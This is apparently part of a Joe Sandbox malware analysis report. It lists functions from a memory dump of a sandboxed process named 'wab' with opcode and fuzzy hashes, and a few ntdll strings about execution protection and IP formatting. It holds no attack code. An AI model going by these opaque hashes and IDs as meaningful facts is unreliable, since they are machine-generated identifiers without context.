Instruction ID: 7cfa8cb5f14a276afb0a162dc2ce443285f24afd801a038967c6a661b75654c0
Opcode Fuzzy Hash: 574ecb52b7de2f701f3578c523b1073881265c8e498a7dfcdbb1a4059dbd7eb6
Instruction Fuzzy Hash: 2590023120140802D25871994884686000647D0311F55C012A6024669E966589917132

Uniqueness

Uniqueness Score: -1.00%

Function 20772C60 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2704809577.0000000020700000.00000040.00001000.00020000.00000000.sdmp, Offset: 20700000, based on PE: true

Associated: 00000009.00000002.2704809577.0000000020829000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002082D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002089E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_20700000_wab.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b1a2c98cbef236f8a599a63c3174af819981360b73a065da691db7ddfcf00c14
Instruction ID: 2186b17552ac4a01e46b4a263b74b13f07bc11960c43e04edd58a1bae52fec47
Opcode Fuzzy Hash: b1a2c98cbef236f8a599a63c3174af819981360b73a065da691db7ddfcf00c14
Instruction Fuzzy Hash: 7490023120140842D25471994484B46000647E0311F55C017A0124668D8615C9517522

Uniqueness

Uniqueness Score: -1.00%

Function 20772CF0 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2704809577.0000000020700000.00000040.00001000.00020000.00000000.sdmp, Offset: 20700000, based on PE: true

Associated: 00000009.00000002.2704809577.0000000020829000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002082D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002089E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_20700000_wab.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 79f1b367806d2937b893e6af0861ede58fbb3cf01c4e3cfd9447b61f5e43363e
Instruction ID: 5d25fea044e8cf0948819b8da37e5306d23cf07bfdfa1a59481a097c82d701a6
Opcode Fuzzy Hash: 79f1b367806d2937b893e6af0861ede58fbb3cf01c4e3cfd9447b61f5e43363e
Instruction Fuzzy Hash: 3790023120140403D25471995588707000647D0311F55D412A042456CDD65689517122

Uniqueness

Uniqueness Score: -1.00%

Function 20772CC0 Relevance: .0, Instructions: 4COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2704809577.0000000020700000.00000040.00001000.00020000.00000000.sdmp, Offset: 20700000, based on PE: true

Associated: 00000009.00000002.2704809577.0000000020829000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002082D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002089E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_20700000_wab.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 33f4415200b1ecf4a69cf88e598f4c831a4fdfea3d9e06d809078e31af16881a
Instruction ID: f9ba030b139fc5a0fbbfd66e53bf4d4e9888c0917564884b09026bc56d7d9919
Opcode Fuzzy Hash: 33f4415200b1ecf4a69cf88e598f4c831a4fdfea3d9e06d809078e31af16881a
Instruction Fuzzy Hash: A890022160540402D29471995498706001647D0311F55D012A0024568DC6598B5576A2

Uniqueness

Uniqueness Score: -1.00%

Function 20772CA0 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2704809577.0000000020700000.00000040.00001000.00020000.00000000.sdmp, Offset: 20700000, based on PE: true

Associated: 00000009.00000002.2704809577.0000000020829000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002082D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002089E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_20700000_wab.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c57caace4130de0cc4e952bf6d9a95f5207df81adbbe291a3d02305ecc8102ee
Instruction ID: e4600da9479baada548dd6af2fbf2f6b6d6def463502a1c2cfc308b7ce9ca423
Opcode Fuzzy Hash: c57caace4130de0cc4e952bf6d9a95f5207df81adbbe291a3d02305ecc8102ee
Instruction Fuzzy Hash: 9390023120140402D25475D95488646000647E0311F55D012A5024569EC66589917132

Uniqueness

Uniqueness Score: -1.00%

Function 20773D70 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2704809577.0000000020700000.00000040.00001000.00020000.00000000.sdmp, Offset: 20700000, based on PE: true

Associated: 00000009.00000002.2704809577.0000000020829000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002082D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002089E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_20700000_wab.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 93253c589fed2b31f6d057fbe048c237e4d6bb778b65179ac054f653b334db49
Instruction ID: 1c830a1130a0bece680e0c4ee7c9b30da23cef88f0bc508b35a2adb799a394fc
Opcode Fuzzy Hash: 93253c589fed2b31f6d057fbe048c237e4d6bb778b65179ac054f653b334db49
Instruction Fuzzy Hash: 1590023520140402D66471995884646004747D0311F55D412A042456CD865489A1B122

Uniqueness

Uniqueness Score: -1.00%

Function 20772D30 Relevance: .0, Instructions: 4COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2704809577.0000000020700000.00000040.00001000.00020000.00000000.sdmp, Offset: 20700000, based on PE: true

Associated: 00000009.00000002.2704809577.0000000020829000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002082D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002089E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_20700000_wab.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e4637636f30efbf5c316e650b8107046938bd157e594f404110793fc8b52c7ec
Instruction ID: 0a79789aec78a4e42a8b127c9ce5aefdf6350b722b8bf77cee8090b451ab18c4
Opcode Fuzzy Hash: e4637636f30efbf5c316e650b8107046938bd157e594f404110793fc8b52c7ec
Instruction Fuzzy Hash: 7D90022130140003D29471995498606400697E1311F55D012E0414568CD91589566223

Uniqueness

Uniqueness Score: -1.00%

Function 20773D10 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2704809577.0000000020700000.00000040.00001000.00020000.00000000.sdmp, Offset: 20700000, based on PE: true

Associated: 00000009.00000002.2704809577.0000000020829000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002082D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002089E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_20700000_wab.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0be1ff6883316104b2383318722cd3bc175d1f480f5c2d31b23bd5483a1d73ac
Instruction ID: 0ce159c035d263a49a3d913f21bc5f6e8270f2b8516dae7e17ec914179a1b37b
Opcode Fuzzy Hash: 0be1ff6883316104b2383318722cd3bc175d1f480f5c2d31b23bd5483a1d73ac
Instruction Fuzzy Hash: 2590023120240142969472995884A4E410647E1312B95D416A0015568CC91489616222

Uniqueness

Uniqueness Score: -1.00%

Function 20772D10 Relevance: .0, Instructions: 4COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2704809577.0000000020700000.00000040.00001000.00020000.00000000.sdmp, Offset: 20700000, based on PE: true

Associated: 00000009.00000002.2704809577.0000000020829000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002082D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002089E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_20700000_wab.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3274d4c8f60e303f9170fec1070167b27f70a6a34c5bafab06ac1d0977ad5ea5
Instruction ID: 197fc1e6228dff0706d445bebda458e1f07b18a15da0f0e733e4a56ed8087a54
Opcode Fuzzy Hash: 3274d4c8f60e303f9170fec1070167b27f70a6a34c5bafab06ac1d0977ad5ea5
Instruction Fuzzy Hash: E190022921340002D2D47199548860A000647D1312F95D416A001556CCC91589696322

Uniqueness

Uniqueness Score: -1.00%

Function 20772D00 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2704809577.0000000020700000.00000040.00001000.00020000.00000000.sdmp, Offset: 20700000, based on PE: true

Associated: 00000009.00000002.2704809577.0000000020829000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002082D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002089E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_20700000_wab.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 018fe7f5de720e7efbd7ca094dc772f57872c552fc093b61bee10786ab36b867
Instruction ID: 2865ca2a20b5fb9f7d1a0466254db1151b2aa3db8119a55dc20e381686d0999f
Opcode Fuzzy Hash: 018fe7f5de720e7efbd7ca094dc772f57872c552fc093b61bee10786ab36b867
Instruction Fuzzy Hash: 5A90022120544442D25475995488A06000647D0315F55D012A10645A9DC6358951B132

Uniqueness

Uniqueness Score: -1.00%

Function 20772DD0 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2704809577.0000000020700000.00000040.00001000.00020000.00000000.sdmp, Offset: 20700000, based on PE: true

Associated: 00000009.00000002.2704809577.0000000020829000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002082D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002089E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_20700000_wab.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a8786ff6e0ab7fcb676408d73ff1f1e01273684eb12c0182d60f77749816b51d
Instruction ID: bf7c3235a9adb617b0e62b41b97594d2992e1b4d4d6f8bda84ddd749f33f2d96
Opcode Fuzzy Hash: a8786ff6e0ab7fcb676408d73ff1f1e01273684eb12c0182d60f77749816b51d
Instruction Fuzzy Hash: A2900221242441525699B1994484507400757E0351795C013A1414964C85269956E622

Uniqueness

Uniqueness Score: -1.00%

Function 20772DB0 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2704809577.0000000020700000.00000040.00001000.00020000.00000000.sdmp, Offset: 20700000, based on PE: true

Associated: 00000009.00000002.2704809577.0000000020829000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002082D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002089E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_20700000_wab.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9d93508353d5576748571664bac3d7f843217dab0db683551106f45d76391979
Instruction ID: c58d98452ca4c594c992680a0b9020b4542334a1752422b6909f4171fb21f390
Opcode Fuzzy Hash: 9d93508353d5576748571664bac3d7f843217dab0db683551106f45d76391979
Instruction Fuzzy Hash: 6990023124140402D29571994484606000A57D0351F95C013A0424568E86558B56BA62

Uniqueness

Uniqueness Score: -1.00%

Function 20772E30 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2704809577.0000000020700000.00000040.00001000.00020000.00000000.sdmp, Offset: 20700000, based on PE: true

Associated: 00000009.00000002.2704809577.0000000020829000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002082D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002089E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_20700000_wab.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5026deee19ec7744ef2bf59aec1860476fe82fd922fce0c7c57d6016c4b816de
Instruction ID: 292da66073ed81a40b9e77d452a36dc85554b16ff4d73cf6222c3fd7fcb256c0
Opcode Fuzzy Hash: 5026deee19ec7744ef2bf59aec1860476fe82fd922fce0c7c57d6016c4b816de
Instruction Fuzzy Hash: F690022130140402D25671994494606000A87D1355F95C013E1424569D86258A53B133

Uniqueness

Uniqueness Score: -1.00%

Function 20772EE0 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2704809577.0000000020700000.00000040.00001000.00020000.00000000.sdmp, Offset: 20700000, based on PE: true

Associated: 00000009.00000002.2704809577.0000000020829000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002082D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002089E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_20700000_wab.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d6f3ed1b098a616b62a02064a75518ea450f815ec79a477390098e757b033eff
Instruction ID: c58e72c9f3793855e0adc459b16e660c73049da709e1f275d76c45a741e11d7c
Opcode Fuzzy Hash: d6f3ed1b098a616b62a02064a75518ea450f815ec79a477390098e757b033eff
Instruction Fuzzy Hash: 2E90026120180403D29475994884607000647D0312F55C012A2064569E8A298D517136

Uniqueness

Uniqueness Score: -1.00%

Function 20772EA0 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2704809577.0000000020700000.00000040.00001000.00020000.00000000.sdmp, Offset: 20700000, based on PE: true

Associated: 00000009.00000002.2704809577.0000000020829000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002082D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002089E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_20700000_wab.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5b88e3111abdae1dee6b64210ef407d3f2545b09f232c072bb1a5cd06ce2b3f0
Instruction ID: 4ba11e4a60c4d46a01f709cd0b289c5c08c9559b5cb17a2f67285f0b9e0548f6
Opcode Fuzzy Hash: 5b88e3111abdae1dee6b64210ef407d3f2545b09f232c072bb1a5cd06ce2b3f0
Instruction Fuzzy Hash: E990027120140402D29471994484746000647D0311F55C012A5064568E86598ED57666

Uniqueness

Uniqueness Score: -1.00%

Function 20772E80 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2704809577.0000000020700000.00000040.00001000.00020000.00000000.sdmp, Offset: 20700000, based on PE: true

Associated: 00000009.00000002.2704809577.0000000020829000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002082D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002089E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_20700000_wab.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cc7aa09eb861c575823ad877abd288534769736b4cd0945399cccb77498e9257
Instruction ID: 52f554458b2f21249c1992037ec2348785a68b9fd2681707312e1182ffade031
Opcode Fuzzy Hash: cc7aa09eb861c575823ad877abd288534769736b4cd0945399cccb77498e9257
Instruction Fuzzy Hash: 7D90022160140502D25571994484616000B47D0351F95C023A1024569ECA258A92B132

Uniqueness

Uniqueness Score: -1.00%

Function 20772F60 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2704809577.0000000020700000.00000040.00001000.00020000.00000000.sdmp, Offset: 20700000, based on PE: true

Associated: 00000009.00000002.2704809577.0000000020829000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002082D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002089E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_20700000_wab.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3c84acc9b258e02f7bb35a9ce5508ffa57a92117bf0fa70787bde2f57829b572
Instruction ID: 5a4e93f4ceab390cb65c122f17733bdee0c50178aaed05b0b11511f6d01d1552
Opcode Fuzzy Hash: 3c84acc9b258e02f7bb35a9ce5508ffa57a92117bf0fa70787bde2f57829b572
Instruction Fuzzy Hash: 5490026121140042D25871994484706004647E1311F55C013A2154568CC5298D616126

Uniqueness

Uniqueness Score: -1.00%

Function 20772F30 Relevance: .0, Instructions: 4COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2704809577.0000000020700000.00000040.00001000.00020000.00000000.sdmp, Offset: 20700000, based on PE: true

Associated: 00000009.00000002.2704809577.0000000020829000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002082D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002089E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_20700000_wab.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 034e07904db95e528160ca89afa02b5a9f6f66bccca3c3d343081524f7038460
Instruction ID: 952c453aa10d2895262e5e696d97113f19dca952c16f05bab14ce36da49e69e5
Opcode Fuzzy Hash: 034e07904db95e528160ca89afa02b5a9f6f66bccca3c3d343081524f7038460
Instruction Fuzzy Hash: D590026134140442D25471994494B06000687E1311F55C016E1064568D8619CD527127

Uniqueness

Uniqueness Score: -1.00%

Function 20772FE0 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2704809577.0000000020700000.00000040.00001000.00020000.00000000.sdmp, Offset: 20700000, based on PE: true

Associated: 00000009.00000002.2704809577.0000000020829000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002082D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002089E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_20700000_wab.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ce6e00923aa7bf79199c5fdb1092cce0f64c80dc4a15d85b5ae884d799541882
Instruction ID: a4a00bc1f7968b688d7af0d9094cb4ec9e794cb664fd696dcf480fd9d50b171d
Opcode Fuzzy Hash: ce6e00923aa7bf79199c5fdb1092cce0f64c80dc4a15d85b5ae884d799541882
Instruction Fuzzy Hash: 49900221211C0042D35475A94C94B07000647D0313F55C116A0154568CC91589616522

Uniqueness

Uniqueness Score: -1.00%

Function 20772FB0 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2704809577.0000000020700000.00000040.00001000.00020000.00000000.sdmp, Offset: 20700000, based on PE: true

Associated: 00000009.00000002.2704809577.0000000020829000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002082D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002089E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_20700000_wab.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eb9460a5fafdd9aa542309e714315ce444ea4acb2a331c073ac4c68332d436b9
Instruction ID: 6034f5567ca0948c96af36b2eb45ed7b0f0f925deab108a9e856a337aa6cfe32
Opcode Fuzzy Hash: eb9460a5fafdd9aa542309e714315ce444ea4acb2a331c073ac4c68332d436b9
Instruction Fuzzy Hash: D290022160140042429471A988C490640066BE1321755C122A0998564D855989656666

Uniqueness

Uniqueness Score: -1.00%

Function 20772FA0 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2704809577.0000000020700000.00000040.00001000.00020000.00000000.sdmp, Offset: 20700000, based on PE: true

Associated: 00000009.00000002.2704809577.0000000020829000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002082D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002089E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_20700000_wab.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5fa54f9f1c1e0e800cd6138c5ffba2482c0dd07dbd83eed350e888859930ba19
Instruction ID: d3a7668fb352c11a6c6f5ac289f5f73391441ee8d89de7ff736d8707605d46dc
Opcode Fuzzy Hash: 5fa54f9f1c1e0e800cd6138c5ffba2482c0dd07dbd83eed350e888859930ba19
Instruction Fuzzy Hash: 7090023120180402D25471994888747000647D0312F55C012A5164569E8665C9917532

Uniqueness

Uniqueness Score: -1.00%

Function 20772F90 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2704809577.0000000020700000.00000040.00001000.00020000.00000000.sdmp, Offset: 20700000, based on PE: true

Associated: 00000009.00000002.2704809577.0000000020829000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002082D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002089E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_20700000_wab.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f5d28f9ac1cbe54893193a4f5bf75dc009e4f55e10d1c1d9720c2eba76e320dd
Instruction ID: 63d392ceaed52912cd671b9445aee86fd1ca7ba05c1e3720583228060c93cdf8
Opcode Fuzzy Hash: f5d28f9ac1cbe54893193a4f5bf75dc009e4f55e10d1c1d9720c2eba76e320dd
Instruction Fuzzy Hash: BA90023120180402D2547199489470B000647D0312F55C012A1164569D862589517572

Uniqueness

Uniqueness Score: -1.00%

Function 20772C00 Relevance: .0, Instructions: 2COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2704809577.0000000020700000.00000040.00001000.00020000.00000000.sdmp, Offset: 20700000, based on PE: true

Associated: 00000009.00000002.2704809577.0000000020829000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002082D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002089E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_20700000_wab.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a3d3d3c0123cddb368cc51eab9da9c3aaeeac76cd7bbfae310620ba6f7f49b43
Instruction ID: 244e71d976c155814d400f43cad5bd9f6918249c39c5c1b40e09abb480ad63ec
Opcode Fuzzy Hash: a3d3d3c0123cddb368cc51eab9da9c3aaeeac76cd7bbfae310620ba6f7f49b43
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 20772890 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 190
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

___swprintf_l.LIBCMT ref: 2077293C
___swprintf_l.LIBCMT ref: 2077295E
___swprintf_l.LIBCMT ref: 207729A3
___swprintf_l.LIBCMT ref: 207AA52E

Strings

:%u.%u.%u.%u, xrefs: 207AA5B8
ffff:, xrefs: 207AA504
::ffff:0:%u.%u.%u.%u, xrefs: 207AA54E
::%hs%u.%u.%u.%u, xrefs: 207AA527

Memory Dump Source

Source File: 00000009.00000002.2704809577.0000000020700000.00000040.00001000.00020000.00000000.sdmp, Offset: 20700000, based on PE: true

Associated: 00000009.00000002.2704809577.0000000020829000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002082D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002089E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_20700000_wab.jbxd

Similarity

API ID: ___swprintf_l
String ID: :%u.%u.%u.%u$::%hs%u.%u.%u.%u$::ffff:0:%u.%u.%u.%u$ffff:
API String ID: 48624451-2108815105
Opcode ID: 18e16469712c034efc0352afc9d3ee347f9839864074aa22899d942a2661ec64
Instruction ID: 9ef28779eb9e000dde77a39e41f529f226e3b9f4d1f87339be19a9f901af8294
Opcode Fuzzy Hash: 18e16469712c034efc0352afc9d3ee347f9839864074aa22899d942a2661ec64
Instruction Fuzzy Hash: 0551B7B5A00116BFCF10DBD888D0A7EF7B8BB19240B54C269E5A4E7641D334EF519BE0

Uniqueness

Uniqueness Score: -1.00%

Function 20767630 Relevance: 14.2, APIs: 1, Strings: 7, Instructions: 194
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

ExecuteOptions, xrefs: 207A46A0
CLIENT(ntdll): Processing %ws for patching section protection for %wZ, xrefs: 207A4742
CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database, xrefs: 207A46FC
CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ, xrefs: 207A4725
CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions, xrefs: 207A4655
Execute=1, xrefs: 207A4713
CLIENT(ntdll): Processing section info %ws..., xrefs: 207A4787

Memory Dump Source

Source File: 00000009.00000002.2704809577.0000000020700000.00000040.00001000.00020000.00000000.sdmp, Offset: 20700000, based on PE: true

Associated: 00000009.00000002.2704809577.0000000020829000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002082D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002089E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_20700000_wab.jbxd

Similarity

API ID:
String ID: CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions$CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ$CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database$CLIENT(ntdll): Processing %ws for patching section protection for %wZ$CLIENT(ntdll): Processing section info %ws...$Execute=1$ExecuteOptions
API String ID: 0-484625025
Opcode ID: 5b884823b10efb4550995bd1c67a8fedf4fcc5939b03a06b39761409bf750ac2
Instruction ID: f739168107b8ec29c3cf2b5f0483551e9e6f02771709f4ab4423b10240b009c7
Opcode Fuzzy Hash: 5b884823b10efb4550995bd1c67a8fedf4fcc5939b03a06b39761409bf750ac2
Instruction Fuzzy Hash: B0510631600619BBDF119FE4DC8AFAE73B8BF58344F5001A9EA06AB191E7719E45CF60

Uniqueness

Uniqueness Score: -1.00%

Function 2077B5EC Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 238COMMON

Download Yara Rule

APIs

__aulldvrm.LIBCMT ref: 2077B6BF

Strings

+, xrefs: 2077B65A
0, xrefs: 2077B66F
0, xrefs: 2077B695
-, xrefs: 2077B650

Memory Dump Source

Source File: 00000009.00000002.2704809577.0000000020700000.00000040.00001000.00020000.00000000.sdmp, Offset: 20700000, based on PE: true

Associated: 00000009.00000002.2704809577.0000000020829000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002082D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002089E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_20700000_wab.jbxd

Similarity

API ID: __aulldvrm
String ID: +$-$0$0
API String ID: 1302938615-699404926
Opcode ID: 53abcd45f1248799eb7edd6da4205106d70e70754ef1e870ff48280e40c18d32
Instruction ID: e11cdbc247275bfc895a930948bf4b0ebcdb6c24549985e3978da5d383238070
Opcode Fuzzy Hash: 53abcd45f1248799eb7edd6da4205106d70e70754ef1e870ff48280e40c18d32
Instruction Fuzzy Hash: 70819270E052499EDF088FE8C891BEEBBB5AF853D0F54C65AE950A72B1C7349D408B91

Uniqueness

Uniqueness Score: -1.00%

Function 2076BED0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 129COMMON

Download Yara Rule

Strings

